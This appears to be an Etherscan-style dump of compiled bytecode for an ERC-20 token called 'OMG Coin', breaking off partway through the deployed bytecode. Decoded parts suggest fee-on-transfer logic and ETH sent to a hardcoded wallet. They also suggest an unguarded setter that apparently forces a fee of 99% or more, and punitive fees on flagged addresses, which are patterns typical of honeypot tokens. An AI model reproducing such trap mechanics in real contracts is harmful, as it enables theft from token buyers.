b50565b610d71610fab565b73ffffffffffffffffffffffffffffffffffffffff16610d8f610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc90612be8565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610ea5610e786000610c1f565b610e97610e8661dead610c1f565b6001546114ba90919063ffffffff16565b6114ba90919063ffffffff16565b905090565b60606040518060400160405280600381526020017f4f4d470000000000000000000000000000000000000000000000000000000000815250905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f1a338484611192565b6001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b60008183610fc19190612d52565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102f90612e87565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109e90612f19565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111859190612974565b60405180910390a3505050565b61119d8383836114d0565b6111a78383611641565b6111b283838361173e565b6111bc838361191c565b6111c78383836119e7565b6111d2838383611c26565b61122481600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ba90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006112738484611c4f565b61127d5781611289565b611288848484611cfd565b5b90506112dd81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161137d9190612974565b60405180910390a350505050565b60008383111582906113d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ca919061286f565b60405180910390fd5b5082840390509392505050565b600081836113ee9190612cc9565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081836114c89190612f39565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361153f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153690612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a590613071565b60405180910390fd5b600081116115f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e890613103565b60405180910390fd5b6115fa83610c1f565b81111561163c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163390613195565b60405180910390fd5b505050565b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116e55750600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561173a57600a60149054906101000a900460ff16611739576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173090613201565b60405180910390fd5b5b5050565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117e25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561183c5750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611876575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561191757611883610cf0565b6118d582600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b1115611916576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161190d9061326d565b60405180910390fd5b5b505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161480156119c35750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156119e3576001601460008282546119db919061328d565b925050819055505b5050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611b2f57611a446107a9565b81111580611a9b5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611aef5750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b259061330d565b60405180910390fd5b5b611b37610d19565b81111580611b8e5750600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611be25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c189061330d565b60405180910390fd5b505050565b611c31838383611ebb565b15611c4a57611c41601654611ff4565b60006014819055505b505050565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cf55750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b905092915050565b600080611d0a8585612245565b1115611e9a576000611d42611d1f8686612245565b611d3460125486610fb390919063ffffffff16565b6113e090919063ffffffff16565b9050611d9681600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e369190612974565b60405180910390a36000600e541115611e7f57611e7e3061dead611e79600e54611e6b60125489610fb390919063ffffffff16565b6113e090919063ffffffff16565b611192565b5b611e9281846114ba90919063ffffffff16565b915050611e9e565b8190505b9392505050565b60008183611eb3919061328d565b905092915050565b60008060175483101590506000601654611ed430610c1f565b10159050601560009054906101000a900460ff16158015611f015750601360009054906101000a900460ff165b8015611f195750600a60149054906101000a900460ff165b8015611f225750815b8015611f785750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611fd15750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b8015611fe05750600060145410155b8015611fe95750805b925050509392505050565b6001601560006101000a81548160ff02191690831515021790555060006120626002612054600d54612046600c546120386001600b54611ea590919063ffffffff16565b611ea590919063ffffffff16565b611ea590919063ffffffff16565b6113e090919063ffffffff16565b9050600061208d8261207f600b54866113e090919063ffffffff16565b610fb390919063ffffffff16565b905060006120a482856114ba90919063ffffffff16565b905060004790506120b4826123cd565b60006120c982476114ba90919063ffffffff16565b905060006120f46120e5600b54886114ba90919063ffffffff16565b83610fb390919063ffffffff16565b9050600061210d600b54836113e090919063ffffffff16565b90506000811115612123576121228682612610565b5b600061214d600c5461213f6002866113e090919063ffffffff16565b6113e090919063ffffffff16565b905060008111156121b45773e0a8bb1bbf6e5dba258ad2dff861fc846c911f2673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156121b2573d6000803e3d6000fd5b505b6000479050600081111561221e5773e0a8bb1bbf6e5dba258ad2dff861fc846c911f2673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561221c573d6000803e3d6000fd5b505b5050505050505050506000601560006101000a81548160ff02191690831515021790555050565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806122e85750600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156123035760646012546122fc9190612cc9565b90506123c7565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123625760105490506123c7565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036123c157600f5490506123c7565b60115490505b92915050565b6000600267ffffffffffffffff8111156123ea576123e961332d565b5b6040519080825280602002602001820160405280156124185781602001602082028036833780820191505090505b50905030816000815181106124305761242f61335c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156124d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124fb91906133a0565b8160018151811061250f5761250e61335c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061257630600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc9565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125da9594939291906134d0565b600060405180830381600087803b1580156125f457600080fd5b505af1158015612608573d6000803e3d6000fd5b505050505050565b61263d30600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc9565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008073e0a8bb1bbf6e5dba258ad2dff861fc846c911f26426040518863ffffffff1660e01b81526004016126b89695949392919061352a565b60606040518083038185885af11580156126d6573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906126fb91906135a0565b5050505050565b600080fd5b6000819050919050565b61271a81612707565b811461272557600080fd5b50565b60008135905061273781612711565b92915050565b600080600080600080600060e0888a03121561275c5761275b612702565b5b600061276a8a828b01612728565b975050602061277b8a828b01612728565b965050604061278c8a828b01612728565b955050606061279d8a828b01612728565b94505060806127ae8a828b01612728565b93505060a06127bf8a828b01612728565b92505060c06127d08a828b01612728565b91505092959891949750929550565b600081519050919050565b600082825260208201905092915050565b60005b838110156128195780820151818401526020810190506127fe565b60008484015250505050565b6000601f19601f8301169050919050565b6000612841826127df565b61284b81856127ea565b935061285b8185602086016127fb565b61286481612825565b840191505092915050565b600060208201905081810360008301526128898184612836565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128bc82612891565b9050919050565b6128cc816128b1565b81146128d757600080fd5b50565b6000813590506128e9816128c3565b92915050565b6000806040838503121561290657612905612702565b5b6000612914858286016128da565b925050602061292585828601612728565b9150509250929050565b60008115159050919050565b6129448161292f565b82525050565b600060208201905061295f600083018461293b565b92915050565b61296e81612707565b82525050565b60006020820190506129896000830184612965565b92915050565b6000806000606084860312156129a8576129a7612702565b5b60006129b6868287016128da565b93505060206129c7868287016128da565b92505060406129d886828701612728565b9150509250925092565b6000602082840312156129f8576129f7612702565b5b6000612a06848285016128da565b91505092915050565b600060ff82169050919050565b612a2581612a0f565b82525050565b6000602082019050612a406000830184612a1c565b92915050565b600080600060608486031215612a5f57612a5e612702565b5b6000612a6d86828701612728565b9350506020612a7e86828701612728565b9250506040612a8f86828701612728565b9150509250925092565b612aa28161292f565b8114612aad57600080fd5b50565b600081359050612abf81612a99565b92915050565b60008060408385031215612adc57612adb612702565b5b6000612aea858286016128da565b9250506020612afb85828601612ab0565b9150509250929050565b612b0e816128b1565b82525050565b6000602082019050612b296000830184612b05565b92915050565b600060208284031215612b4557612b44612702565b5b6000612b5384828501612728565b91505092915050565b60008060408385031215612b7357612b72612702565b5b6000612b81858286016128da565b9250506020612b92858286016128da565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bd26020836127ea565b9150612bdd82612b9c565b602082019050919050565b60006020820190508181036000830152612c0181612bc5565b9050919050565b7f746f74616c46656520616e64207a656e74612063616e6e6f74206265206d6f7260008201527f65207468616e2032302500000000000000000000000000000000000000000000602082015250565b6000612c64602a836127ea565b9150612c6f82612c08565b604082019050919050565b60006020820190508181036000830152612c9381612c57565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612cd482612707565b9150612cdf83612707565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612d1857612d17612c9a565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612d5d82612707565b9150612d6883612707565b925082612d7857612d77612d23565b5b828204905092915050565b7f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560008201527f206c657373207468616e202e3525000000000000000000000000000000000000602082015250565b6000612ddf602e836127ea565b9150612dea82612d83565b604082019050919050565b60006020820190508181036000830152612e0e81612dd2565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612e716024836127ea565b9150612e7c82612e15565b604082019050919050565b60006020820190508181036000830152612ea081612e64565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f036022836127ea565b9150612f0e82612ea7565b604082019050919050565b60006020820190508181036000830152612f3281612ef6565b9050919050565b6000612f4482612707565b9150612f4f83612707565b9250828203905081811115612f6757612f66612c9a565b5b92915050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612fc96025836127ea565b9150612fd482612f6d565b604082019050919050565b60006020820190508181036000830152612ff881612fbc565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061305b6023836127ea565b915061306682612fff565b604082019050919050565b6000602082019050818103600083015261308a8161304e565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006130ed6029836127ea565b91506130f882613091565b604082019050919050565b6000602082019050818103600083015261311c816130e0565b9050919050565b7f596f752061726520747279696e6720746f207472616e73666572206d6f72652060008201527f7468616e20796f75722062616c616e6365000000000000000000000000000000602082015250565b600061317f6031836127ea565b915061318a82613123565b604082019050919050565b600060208201905081810360008301526131ae81613172565b9050919050565b7f74726164696e67416c6c6f776564000000000000000000000000000000000000600082015250565b60006131eb600e836127ea565b91506131f6826131b5565b602082019050919050565b6000602082019050818103600083015261321a816131de565b9050919050565b7f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e0000600082015250565b6000613257601e836127ea565b915061326282613221565b602082019050919050565b600060208201905081810360008301526132868161324a565b9050919050565b600061329882612707565b91506132a383612707565b92508282019050808211156132bb576132ba612c9a565b5b92915050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006132f76011836127ea565b9150613302826132c1565b602082019050919050565b60006020820190508181036000830152613326816132ea565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061339a816128c3565b92915050565b6000602082840312156133b6576133b5612702565b5b60006133c48482850161338b565b91505092915050565b6000819050919050565b6000819050919050565b60006133fc6133f76133f2846133cd565b6133d7565b612707565b9050919050565b61340c816133e1565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613447816128b1565b82525050565b6000613459838361343e565b60208301905092915050565b6000602082019050919050565b600061347d82613412565b613487818561341d565b93506134928361342e565b8060005b838110156134c35781516134aa888261344d565b97506134b583613465565b925050600181019050613496565b5085935050505092915050565b600060a0820190506134e56000830188612965565b6134f26020830187613403565b81810360408301526135048186613472565b90506135136060830185612b05565b6135206080830184612965565b9695505050505050565b600060c08201905061353f6000830189612b05565b61354c6020830188612965565b6135596040830187613403565b6135666060830186613403565b6135736080830185612b05565b61358060a0830184612965565b979650505050505050565b60008151905061359a81612711565b92915050565b6000806000606084860312156135b9576135b8612702565b5b60006135c78682870161358b565b93505060206135d88682870161358b565b92505060406135e98682870161358b565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122060aa14aec602b1dbeb7315bbb2934f66e4cca85be2e9b418c5fad2ca143e8eb664736f6c63430008100033

Deployed Bytecode

0x60806040526004361061016a5760003560e01c806370a08231116100d15780638c41180e1161008a57806395d89b411161006457806395d89b4114610525578063a8aa1b3114610550578063a9059cbb1461057b578063dd62ed3e146105b857610171565b80638c41180e146104a65780638da5cb5b146104cf5780639358928b146104fa57610171565b806370a08231146103a8578063715018a6146103e557806378109e54146103fc5780637d1db4a514610427578063893d20e8146104525780638a5583d11461047d57610171565b8063293230b811610123578063293230b81461029a5780632f54bf6e146102b1578063313ce567146102ee57806334c5d2ce146103195780633f4218e01461034257806348ff2b8b1461037f57610171565b8063044019301461017657806306fdde031461019f578063095ea7b3146101ca57806318160ddd146102075780631f976b7e1461023257806323b872dd1461025d57610171565b3661017157005b600080fd5b34801561018257600080fd5b5061019d6004803603810190610198919061273d565b6105f5565b005b3480156101ab57600080fd5b506101b461074b565b6040516101c1919061286f565b60405180910390f35b3480156101d657600080fd5b506101f160048036038101906101ec91906128ef565b610788565b6040516101fe919061294a565b60405180910390f35b34801561021357600080fd5b5061021c61079f565b6040516102299190612974565b60405180910390f35b34801561023e57600080fd5b506102476107a9565b6040516102549190612974565b60405180910390f35b34801561026957600080fd5b50610284600480360381019061027f919061298f565b6107d2565b604051610291919061294a565b60405180910390f35b3480156102a657600080fd5b506102af61089d565b005b3480156102bd57600080fd5b506102d860048036038101906102d391906129e2565b610936565b6040516102e5919061294a565b60405180910390f35b3480156102fa57600080fd5b5061030361098f565b6040516103109190612a2b565b60405180910390f35b34801561032557600080fd5b50610340600480360381019061033b9190612a46565b610998565b005b34801561034e57600080fd5b50610369600480360381019061036491906129e2565b610b28565b604051610376919061294a565b60405180910390f35b34801561038b57600080fd5b506103a660048036038101906103a19190612ac5565b610b48565b005b3480156103b457600080fd5b506103cf60048036038101906103ca91906129e2565b610c1f565b6040516103dc9190612974565b60405180910390f35b3480156103f157600080fd5b506103fa610c68565b005b34801561040857600080fd5b50610411610cf0565b60405161041e9190612974565b60405180910390f35b34801561043357600080fd5b5061043c610d19565b6040516104499190612974565b60405180910390f35b34801561045e57600080fd5b50610467610d42565b6040516104749190612b14565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f9190612b2f565b610d51565b005b3480156104b257600080fd5b506104cd60048036038101906104c89190612ac5565b610d69565b005b3480156104db57600080fd5b506104e4610e40565b6040516104f19190612b14565b60405180910390f35b34801561050657600080fd5b5061050f610e69565b60405161051c9190612974565b60405180910390f35b34801561053157600080fd5b5061053a610eaa565b604051610547919061286f565b60405180910390f35b34801561055c57600080fd5b50610565610ee7565b6040516105729190612b14565b60405180910390f35b34801561058757600080fd5b506105a2600480360381019061059d91906128ef565b610f0d565b6040516105af919061294a565b60405180910390f35b3480156105c457600080fd5b506105df60048036038101906105da9190612b5c565b610f24565b6040516105ec9190612974565b60405180910390f35b6105fd610fab565b73ffffffffffffffffffffffffffffffffffffffff1661061b610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066890612be8565b60405180910390fd5b86600b8190555085600c8190555084600e8190555083600d8190555082600f8190555081601081905550806011819055506106b86005601254610fb390919063ffffffff16565b600f54111580156106e057506106da6005601254610fb390919063ffffffff16565b60115411155b801561070357506106fd6003601254610fb390919063ffffffff16565b60105411155b610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073990612c7a565b60405180910390fd5b50505050505050565b60606040518060400160405280600881526020017f4f4d4720436f696e000000000000000000000000000000000000000000000000815250905090565b6000610795338484610fc9565b6001905092915050565b6000600154905090565b60006012546003546107b961079f565b6107c39190612cc9565b6107cd9190612d52565b905090565b60006107df848484611192565b610892843361088d856040518060600160405280602881526020016135f460289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461138b9092919063ffffffff16565b610fc9565b600190509392505050565b6108a5610fab565b73ffffffffffffffffffffffffffffffffffffffff166108c3610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610919576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091090612be8565b60405180910390fd5b6000600a60146101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006009905090565b6109a0610fab565b73ffffffffffffffffffffffffffffffffffffffff166109be610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610a14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0b90612be8565b60405180910390fd5b6000606484610a2161079f565b610a2b9190612cc9565b610a359190612d52565b90506000606484610a4461079f565b610a4e9190612cc9565b610a589190612d52565b90506000606484610a6761079f565b610a719190612cc9565b610a7b9190612d52565b90508560028190555084600381905550836004819055506000610ac2600a610ab46005610aa661079f565b6113e090919063ffffffff16565b610fb390919063ffffffff16565b9050808410158015610ad45750808310155b8015610ae05750808210155b610b1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1690612df5565b60405180910390fd5b50505050505050565b60076020528060005260406000206000915054906101000a900460ff1681565b610b50610fab565b73ffffffffffffffffffffffffffffffffffffffff16610b6e610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb90612be8565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c70610fab565b73ffffffffffffffffffffffffffffffffffffffff16610c8e610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610ce4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cdb90612be8565b60405180910390fd5b610cee60006113f6565b565b6000601254600454610d0061079f565b610d0a9190612cc9565b610d149190612d52565b905090565b6000601254600254610d2961079f565b610d339190612cc9565b610d3d9190612d52565b905090565b6000610d4c610e40565b905090565b806010819055506063811015610d6657600080fd5b50565b610d71610fab565b73ffffffffffffffffffffffffffffffffffffffff16610d8f610e40565b73ffffffffffffffffffffffffffffffffffffffff1614610de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddc90612be8565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610ea5610e786000610c1f565b610e97610e8661dead610c1f565b6001546114ba90919063ffffffff16565b6114ba90919063ffffffff16565b905090565b60606040518060400160405280600381526020017f4f4d470000000000000000000000000000000000000000000000000000000000815250905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610f1a338484611192565b6001905092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b60008183610fc19190612d52565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611038576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102f90612e87565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109e90612f19565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111859190612974565b60405180910390a3505050565b61119d8383836114d0565b6111a78383611641565b6111b283838361173e565b6111bc838361191c565b6111c78383836119e7565b6111d2838383611c26565b61122481600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114ba90919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006112738484611c4f565b61127d5781611289565b611288848484611cfd565b5b90506112dd81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ea590919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161137d9190612974565b60405180910390a350505050565b60008383111582906113d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ca919061286f565b60405180910390fd5b5082840390509392505050565b600081836113ee9190612cc9565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081836114c89190612f39565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361153f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153690612fdf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036115ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115a590613071565b60405180910390fd5b600081116115f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e890613103565b60405180910390fd5b6115fa83610c1f565b81111561163c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163390613195565b60405180910390fd5b505050565b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116e55750600760008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561173a57600a60149054906101000a900460ff16611739576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173090613201565b60405180910390fd5b5b5050565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117e25750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561183c5750600a60009054906101000a900473ffffff